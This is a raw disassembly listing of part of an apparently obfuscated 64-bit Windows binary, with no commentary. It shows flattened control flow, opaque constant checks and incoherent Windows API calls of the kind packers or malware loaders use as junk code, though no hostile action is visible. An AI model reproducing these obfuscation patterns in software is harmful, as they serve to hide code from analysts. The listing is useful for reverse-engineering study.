cmp eax, 0x60ac
je 0x140056b4d
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov dword [rsp + 0x1c18], eax
cmp dword [rsp + 0x1c18], 0x31f4385c
je 0x140056b6d
jmp 0x140056b6f
jmp 0x140056b95
mov r9d, 0xdc
mov r8d, 0xa8
mov edx, 0xb8
mov rcx, qword [rsp + 0x3608]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x3610], rax
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b8], ax
jmp 0x14012ed0d
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3280]
shl rax, cl
mov rcx, qword [rsp + 0x3528]
mov rdx, qword [rsp + 0x3508]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140056cd9
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
sar eax, cl
mov byte [rsp + 0xe2], al
mov r8d, 0x4f
mov rdx, qword [rsp + 0x3618]
mov rcx, qword [rsp + 0x35b0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
nop
mov eax, dword [rsp + 0x1bf8]
mov dword [rsp + 0x1c1c], eax
cmp dword [rsp + 0x1c1c], 0x1d0075f8
je 0x140056c45
jmp 0x140056ca2
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bf8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
movabs rax, 0xa33a4e4eb5b488c
mov rcx, qword [0x14017c008]
and rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x3528]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
jmp 0x140056cd9
movzx eax, word [rsp + 0x7bc]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x35c8]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0x7bc]
mov edx, dword [rsp + 0x1bc4]
movzx ecx, word [rsp + 0x7bc]
call fcn.1401308e0
nop
mov dword [rsp + 0x1c20], 0xeefb
movzx eax, byte [rsp + 0xe2]
mov byte [rsp + 0x1c24], al
cmp byte [rsp + 0x1c24], 0x87
je 0x140056d02
jmp 0x140056d86
lea rax, [rsp + 0x35c8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3178]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x81
lea r9, [rsp + 0x3610]
mov r8d, 0xaf
mov rdx, qword [rsp + 0x3600]
mov ecx, 0x63
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x1bd4], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1bac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ba8], eax
jmp 0x14005714e
movsx eax, word [rsp + 0x7bc]
mov dword [rsp + 0x1c28], eax
cmp dword [rsp + 0x1c28], 0x492e
je 0x140056db8
cmp dword [rsp + 0x1c28], 0x4967
je 0x14005712f
jmp 0x14005714e
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x34e8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400570cf
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
movzx ecx, byte [rsp + 0xe0]
mov dword [rsp + 0x1c2c], ecx
movzx edx, byte [rsp + 0xe3]
movzx ecx, dl
mov edx, dword [rsp + 0x1c2c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1400570a8
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x1c30], al
cmp byte [rsp + 0x1c30], 0
je 0x140056e4a
jmp 0x140057082
movzx eax, byte [rsp + 0xe3]
mov byte [rsp + 0x1c34], al
cmp byte [rsp + 0x1c34], 0x30
je 0x140056e68
jmp 0x140056f51
mov rax, qword [rsp + 0x35a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c38], al
cmp byte [rsp + 0x1c38], 0x6e
je 0x140056e89
jmp 0x140056f22
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
shl eax, cl
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7b8], ax
mov dword [rsp + 0x28], 0x88
lea rax, [rsp + 0x14940]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x146f8]
lea r8, str.spindles_acquit
mov edx, 0x20
mov ecx, 0x1a
call qword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [rsp + 0x1bf8], eax
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7b4]
xor eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
jmp 0x140056f4c
lea r9, [rsp + 0x35c8]
mov r8d, 0x5e
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0x3620]
call sub.WINSPOOL.DRV_SetPortA
mov dword [rsp + 0x1bd4], eax
jmp 0x140057080
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x35d0]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140057080
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movsx eax, word [rsp + 0x7bc]
mov dword [rsp + 0x1c3c], eax
cmp dword [rsp + 0x1c3c], 0x7f
je 0x140056fdf
jmp 0x14005705f
lea rcx, [rsp + 0x14730]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b98], eax
mov rcx, qword [rsp + 0x3628]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
jmp 0x140057080
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
jmp 0x1400570a8
mov r9d, 0xdd
mov r8d, 0x96
mov edx, 0x91
mov rcx, qword [rsp + 0x35f8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x3630], rax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov word [rsp + 0x7c0], ax
jmp 0x140057122
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0xe1]
mov rdx, qword [rsp + 0x3518]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jge 0x140057122
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov dword [rsp + 0x1c40], 0xcfda
jmp 0x14005714e
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe1], al
cmp dword [rsp + 0x1c20], 0x11d4b
je 0x140057424
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1bb8], eax
mov eax, dword [rsp + 0x1bac]
mov rcx, qword [rsp + 0x3510]
mov qword [rsp + 0x3638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3508]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe3], al
mov eax, dword [rsp + 0x1c20]
add eax, 0xd0
mov dword [rsp + 0x1c20], eax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov word [rsp + 0x7b8], ax
movabs rax, 0x1cc32f35feb46f76
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bf8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3280]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sar eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3508]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe3]
shl eax, cl
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1bf8], eax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [rsp + 0x1bac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
jmp 0x14005714e
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c0]
and eax, ecx
movzx ecx, word [rsp + 0x7b8]
mov rdx, qword [rsp + 0x34c0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14005756d
lea rax, [rsp + 0x3280]
mov qword [rsp + 0x3640], rax
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x35a0]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
movabs rax, 0xcfbb79de8bf10d15
cmp qword [0x14017c008], rax
jae 0x14005756d
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
lea rax, [rsp + 0xe3]
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov dword [rsp + 0x1c44], eax
cmp dword [rsp + 0x1c44], 0x8ab
je 0x1400574ef
jmp 0x140057522
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rdx, qword [0x14017c008]
movzx ecx, byte [rsp + 0xe5]
call fcn.140130610
nop
jmp 0x14005756d
lea rax, [rsp + 0x1bf8]
mov qword [rsp + 0x3650], rax
mov dword [rsp + 0x1c48], 0xa5d2
mov rax, qword [rsp + 0x3178]
mov qword [rsp + 0x3658], rax
lea rax, [rsp + 0x1bb8]
mov qword [rsp + 0x3660], rax
lea rax, [rsp + 0x7bc]
mov qword [rsp + 0x3668], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov dword [rsp + 0x1c4c], eax
cmp dword [rsp + 0x1c4c], 0
je 0x14005758d
jmp 0x1400576df
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov qword [rsp + 0x3670], rax
cmp qword [rsp + 0x3670], 0
je 0x1400575b0
jmp 0x140057696
movzx eax, byte [rsp + 0xe2]
mov byte [rsp + 0x1c50], al
cmp byte [rsp + 0x1c50], 0x40
je 0x1400575d8
cmp byte [rsp + 0x1c50], 0xd8
je 0x140057650
jmp 0x140057694
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov word [rsp + 0x720], ax
movzx eax, word [rsp + 0x720]
mov word [0x14017ced0], ax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
shl eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov dword [rsp + 0x1c54], 0x2b18
jmp 0x140057694
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x146f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xae
lea r8, [rsp + 0x35d0]
mov rdx, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x3580]
call sub.WINSPOOL.DRV_EnumPrinterDataExA
mov dword [rsp + 0x1b98], eax
jmp 0x1400576b2
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe2]
xor eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov dword [rsp + 0x1c58], 0xaead
mov rax, qword [0x14017c008]
mov qword [rsp + 0x3678], rax
mov eax, dword [rsp + 0x1ba8]
mov dword [rsp + 0x1c5c], eax
jmp 0x140057813
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
cdq
idiv ecx
movzx ecx, byte [rsp + 0xe2]
mov dword [rsp + 0x1c60], ecx
movzx edx, byte [rsp + 0xe3]
movzx ecx, dl
mov edx, dword [rsp + 0x1c60]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400577c8
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x35d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c64], al
cmp byte [rsp + 0x1c64], 3
je 0x140057766
cmp byte [rsp + 0x1c64], 0x18
je 0x14005778c
jmp 0x1400577c6
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3528]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
jmp 0x1400577c6
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
add eax, ecx
mov word [rsp + 0x7bc], ax
mov rdx, qword [rsp + 0x35f0]
mov rcx, qword [rsp + 0x3600]
call qword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
mov dword [rsp + 0x1c68], eax
jmp 0x140057813
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
or eax, ecx
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xe3]
and ecx, edx
cmp eax, ecx
je 0x140057813
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe1]
and eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x720]
add eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1c5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x34c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3178], rax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7c0]
sar eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
add eax, ecx
mov word [0x14017ced0], ax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
movabs rax, 0xcd42df746e3f8934
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe0]
sub eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3678]
shr rax, 0x1c
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ba8], eax
mov eax, dword [rsp + 0x1b9c]
add eax, 0x85
mov dword [rsp + 0x1b9c], eax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
cmp dword [rsp + 0x1b9c], 0x4d65
jbe 0x140057813
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe1], al
movabs rax, 0x8339e7e005efaf68
mov rcx, qword [rsp + 0x3678]
imul rcx, rax
mov rax, rcx
cmp rax, qword [0x14017c008]
jne 0x140057ca3
mov rax, qword [rsp + 0x3678]
shr rax, 0xab
cmp rax, qword [0x14017c008]
je 0x140057c9e
lea r8, [rsp + 0x3610]
lea rdx, [rsp + 0x1bd4]
mov rcx, qword [rsp + 0x3578]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov dword [rsp + 0x1c68], eax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
or eax, ecx
mov word [rsp + 0x7c0], ax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1bc4]
shl eax, cl
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov r9d, 0xa4
lea r8, [rsp + 0x3650]
lea rdx, [fcn.140130970]
mov rcx, qword [rsp + 0x35b0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x1c6c], eax
mov rdx, qword [rsp + 0x3678]
movzx ecx, byte [rsp + 0xe1]
call fcn.140130610
nop
jmp 0x140057e33
lea rax, [rsp + 0x3658]
mov qword [rsp + 0x3680], rax
mov dword [rsp + 0x1c70], 0x90f6
mov dword [rsp + 0x1c74], 0x526d
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x1bac]
mov edx, dword [rsp + 0x1bf8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140057df9
lea rax, [rsp + 0x3678]
mov qword [rsp + 0x3688], rax
lea rax, [rsp + 0x1bac]
mov qword [rsp + 0x3690], rax
mov rax, qword [rsp + 0x3518]
movzx eax, byte [rax]
mov byte [rsp + 0x1c78], al
cmp byte [rsp + 0x1c78], 0xc
je 0x140057d3a
jmp 0x140057df7
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov dword [rsp + 0x1c7c], eax
cmp dword [rsp + 0x1c7c], 0x4ef95237
je 0x140057dd7
cmp dword [rsp + 0x1c7c], 0x5c0a17ec
je 0x140057d83
jmp 0x140057df7
movsx eax, word [rsp + 0x720]
movsx ecx, word [0x14017ced0]
add eax, ecx
mov word [rsp + 0x7bc], ax
lea rdx, [rsp + 0x3668]
mov rcx, qword [rsp + 0x35d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x1bc4], eax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
jmp 0x140057df7
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b8], ax
jmp 0x140057e33
movzx eax, word [rsp + 0x7bc]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xe4]
mov rax, qword [rsp + 0x3668]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1bc4]
mov rax, qword [rsp + 0x3668]
movzx ecx, word [rax]
call fcn.1401308e0
nop
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov qword [rsp + 0x3698], rax
movabs rax, 0x81bc5b9d5b15e830
cmp qword [rsp + 0x3698], rax
je 0x14012ecdd
movabs rax, 0xcd42df81426d8148
cmp qword [rsp + 0x3698], rax
je 0x140057e77
jmp 0x14012ece3
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov dword [rsp + 0x1c80], eax
cmp dword [rsp + 0x1c80], 0x1749
je 0x14012eb5c
cmp dword [rsp + 0x1c80], 0x4b3e
je 0x140057eac
jmp 0x14012ebbf
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov byte [0x14017c010], al
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c0], ax
movsx eax, word [rsp + 0x720]
movsx ecx, word [0x14017ced0]
and eax, ecx
mov word [rsp + 0x7bc], ax
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [0x14017ced0]
sub eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3690]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x720], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
